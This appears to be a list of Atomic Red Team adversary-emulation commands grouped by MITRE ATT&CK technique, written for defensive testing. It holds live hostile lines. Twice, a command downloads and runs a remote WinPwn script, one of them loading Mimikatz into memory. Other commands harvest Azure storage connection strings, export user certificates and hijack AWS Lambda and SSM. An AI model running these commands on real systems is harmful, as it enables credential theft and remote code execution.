WinPwn - GPORemoteAccessPolicy

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPORemoteAccessPolicy -consoleoutput -noninteractive

T1615 - Group Policy Discovery

MSFT Get-GPO Cmdlet

Get-GPO -Domain $ENV:userdnsdomain -All >> $env:temp\GPO_Output.txt

T1619 - Cloud Storage Object Discovery

AWS S3 Enumeration

for bucket in "$(aws s3 ls | cut -d " " -f3)"; do aws s3api list-objects-v2 --bucket $bucket --output text; done

T1619 - Cloud Storage Object Discovery

Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI

az login # Login to Azure

# Get all storage accounts in the subscription
$storageAccounts = az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" --output json | ConvertFrom-Json

$storageAccountObjects = @()
$downloadedFunctionFiles = @()

foreach ($account in $storageAccounts) {
Write-Output "`nFound storage account $($account.name)"

$storageAccountObjects += [PSCustomObject]@{
ResourceGroup = $account.resourceGroup
StorageAccountName = $account.name
FileShareName = ""
ContainerName = ""
BlobName = ""
TableName = ""
QueueName = ""
}

$allowSharedKeyAccess = az storage account show --name $account.name --resource-group $account.resourceGroup --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
$connectionString = az storage account show-connection-string --name $account.name --resource-group $account.resourceGroup --query connectionString --output tsv

$fileShares = az storage share list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
foreach($fileShare in $fileShares) {
Write-Output "Found file share: $($fileShare)"
$storageAccountObjects += [PSCustomObject]@{
ResourceGroup = $account.resourceGroup
StorageAccountName = $account.name
FileShareName = $fileShare
ContainerName = ""
BlobName = ""
TableName = ""
QueueName = ""
}
}

$containers = az storage container list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
foreach($container in $containers) {
Write-Output "Found container: $($container)"
$storageAccountObjects += [PSCustomObject]@{
ResourceGroup = $account.resourceGroup
StorageAccountName = $account.name
FileShareName = ""
ContainerName = $container
BlobName = ""
TableName = ""
QueueName = ""
}

$blobs = az storage blob list --connection-string $connectionString --container-name $container --query "[].name" --output json | ConvertFrom-Json

foreach($blob in $blobs) {
Write-Output "Found blob: $($blob)"
$storageAccountObjects += [PSCustomObject]@{
ResourceGroup = $account.resourceGroup
StorageAccountName = $account.name
FileShareName = ""
ContainerName = $container
BlobName = $blob
TableName = ""
QueueName = ""
}
}
}

$tables = az storage table list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
foreach($table in $tables) {
Write-Output "Found table: $($table)"
$storageAccountObjects += [PSCustomObject]@{
ResourceGroup = $account.resourceGroup
StorageAccountName = $account.name
FileShareName = ""
ContainerName = ""
BlobName = ""
TableName = $table
QueueName = ""
}
}

$queues = az storage queue list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
foreach($queue in $queues) {
Write-Output "Found table: $($table)"
$storageAccountObjects += [PSCustomObject]@{
ResourceGroup = $account.resourceGroup
StorageAccountName = $account.name
FileShareName = ""
ContainerName = ""
BlobName = ""
TableName = ""
QueueName = $queue
}
}
}
}

# Store file lists to csv file
$storageAccountObjects | Export-Csv -Path "$env:temp\T1619_storage_account_objects.csv" -NoTypeInformation
Write-Output "`nDownloaded storage account objects to $env:temp\T1619_storage_account_objects.csv"

# Print lists that have been stored as csv file
$storageAccountObjects | Format-Table -Property ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName -AutoSize -Wrap

T1619 - Cloud Storage Object Discovery

Azure - Scan for Anonymous Access to Azure Storage (Powershell)

try{$response = invoke-webrequest "https://T1619Test2.blob.core.windows.net/None/None" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for T1619Test2.blob.core.windows.net/None/None: $responsebody" | out-file -filepath $env:temp\T1619Test2.txt -append

T1619 - Cloud Storage Object Discovery

Azure - Enumerate Azure Blobs with MicroBurst

import-module "..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base secure -permutations "..\ExternalPayloads\permutations.txt" -outputfile "$env:temp\T1619Test1.txt"

T1620 - Reflective Code Loading

WinPwn - Reflectively load Mimik@tz into memory

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
mimiload -consoleoutput -noninteractive

T1622 - Debugger Evasion

Detect a Debugger Presence in the Machine

# Check for common debugger processes
$debuggerProcesses = Get-Process | Where-Object { $_.ProcessName -match "dbg" -or $_.ProcessName -match "debug" }
# Check for debugging flags
$debuggingFlags = [System.Diagnostics.Debugger]::IsAttached

T1647 - Plist File Modification

Plist Modification

{MISSING IN ATOMIC RED TEAM}

T1648 - Serverless Execution

Lambda Function Hijack

Import-Module "T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = ""
$secret_key = ""
$session_token = ""
$aws_profile = ""
$region = "us-east-2"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "T1648/src/T1648-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region

T1649 - Steal or Forge Authentication Certificates

Staging Local Certificates via Export-Certificate

$archive="$env:PUBLIC\T1649\atomic_certs.zip"
$exfilpath="$env:PUBLIC\T1649\certs"
Add-Type -assembly "system.io.compression.filesystem"
Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
mkdir $exfilpath | Out-Null
foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer}
[io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)

T1651 - Cloud Administration Command

AWS Run Command (and Control)

Import-Module "T1651/src/T1651-1/AWSSSMAttack.ps1" -Force
$access_key = ""
$secret_key = ""
$session_token = ""
$aws_profile = ""
$region = "us-east-2"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "T1651/src/T1651-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "T1651/src/T1651-1" -TerraformVariables @("profile=T1651-1", "region=$region")
Invoke-SSMAttack -AWSProfile "T1651-1" -TerraformDirectory "T1651/src/T1651-1"
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "T1651/src/T1651-1" -TerraformVariables @("profile=T1651-1", "region=$region")

T1652 - Device Driver Discovery

Device Driver Discovery

driverquery /v /fo list
driverquery /si /fo list

T1654 - Log Enumeration

Get-EventLog To Enumerate Windows Security Log

powershell -c {get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\T1654_events.txt}

T1654 - Log Enumeration

Enumerate Windows Security Log via WevtUtil

wevtutil enum-logs